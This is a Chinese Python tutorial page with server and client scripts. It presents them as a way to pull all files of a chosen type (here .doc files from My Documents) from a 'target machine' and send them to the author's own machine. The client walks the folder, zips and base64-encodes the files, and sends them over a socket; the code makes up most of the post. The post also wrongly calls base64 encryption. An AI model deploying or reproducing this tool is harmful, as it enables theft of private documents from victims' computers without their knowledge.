python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
Python制作Windows系统服务
Mar 25 Python
Pandas 数据处理,数据清洗详解
Jul 10 Python
python3的输入方式及多组输入方法
Oct 17 Python
利用Python将数值型特征进行离散化操作的方法
Nov 06 Python
在Pycharm中使用GitHub的方法步骤
Jun 13 Python
PyQt5笔记之弹出窗口大全
Jun 20 Python
django正续或者倒序查库实例
May 19 Python
Django使用rest_framework写出API
May 21 Python
Python web如何在IIS发布应用过程解析
May 27 Python
python使用建议与技巧分享(二)
Aug 17 Python
python 监控服务器是否有人远程登录(详细思路+代码)
Dec 18 Python
python OpenCV学习笔记
Mar 31 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
印尼林东PWN黄金曼特宁咖啡豆:怎么冲世界上最醇厚的咖啡冲煮教程
2021/03/03 冲泡冲煮
THINKPHP支持YAML配置文件的设置方法
2015/03/17 PHP
最新制作ThinkPHP3.2.3完全开发手册
2015/11/23 PHP
php实现计算百度地图坐标之间距离的方法
2016/05/05 PHP
PHP7匿名类用法分析
2016/09/26 PHP
Javascript 获取LI里的内容
2008/12/17 Javascript
js 代码集(学习js的朋友可以看下)
2009/07/22 Javascript
Array.prototype.slice.apply的使用方法
2010/03/17 Javascript
jquery多浏览器捕捉回车事件代码
2010/06/22 Javascript
js获得指定控件输入光标的坐标兼容IE,Chrome,火狐等多种主流浏览器
2013/05/21 Javascript
JavaScript中的变量作用域介绍
2014/12/31 Javascript
基于JQuery打造无缝滚动新闻步骤详解
2016/03/31 Javascript
jQuery 选择器(61种)整理总结
2016/09/26 Javascript
angularjs实现猜大小功能
2017/10/23 Javascript
原生JS实现旋转轮播图+文字内容切换效果【附源码】
2018/09/29 Javascript
从0搭建vue-cli4脚手架
2020/06/17 Javascript
pymongo实现控制mongodb中数字字段做加法的方法
2015/03/26 Python
用Python操作字符串之rindex()方法的使用
2015/05/19 Python
Python实现简单HTML表格解析的方法
2015/06/15 Python
Python IDE PyCharm的基本快捷键和配置简介
2015/11/04 Python
Python快速排序算法实例分析
2017/11/29 Python
Python multiprocess pool模块报错pickling error问题解决方法分析
2019/03/20 Python
pytorch 模型的train模式与eval模式实例
2020/02/20 Python
pandas数据选取:df[] df.loc[] df.iloc[] df.ix[] df.at[] df.iat[]
2020/04/24 Python
python 如何上传包到pypi
2020/12/24 Python
CSS3中border-radius属性设定圆角的使用技巧
2016/05/10 HTML / CSS
如何执行一个shell程序
2012/11/23 面试题
企业管理专业个人求职信范文
2013/09/24 职场文书
本科生个人求职自荐信
2013/09/26 职场文书
经典毕业生求职信
2014/07/12 职场文书
《酸的和甜的》教学反思
2016/02/18 职场文书
大学生创业计划书
2019/06/24 职场文书
详解Laravel服务容器的优势
2021/05/29 PHP
MySQL子查询中order by不生效问题的解决方法
2021/08/02 MySQL
python中Pyqt5使用Qlabel标签播放视频
2022/04/22 Python
关于对TypeScript泛型参数的默认值理解
2022/07/15 Javascript